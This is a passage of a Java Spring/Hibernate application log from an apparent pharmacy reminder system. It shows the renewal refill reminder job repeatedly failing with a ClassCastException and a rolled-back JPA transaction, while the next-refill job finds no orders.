org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 03:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 03:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 03:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 03:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 03:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 03:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 03:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 03:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 03:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 03:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 03:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 03:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 03:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 03:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 03:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 03:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 03:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 03:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 03:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 03:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 03:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 03:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 03:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 03:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 03:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 03:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 03:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 03:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 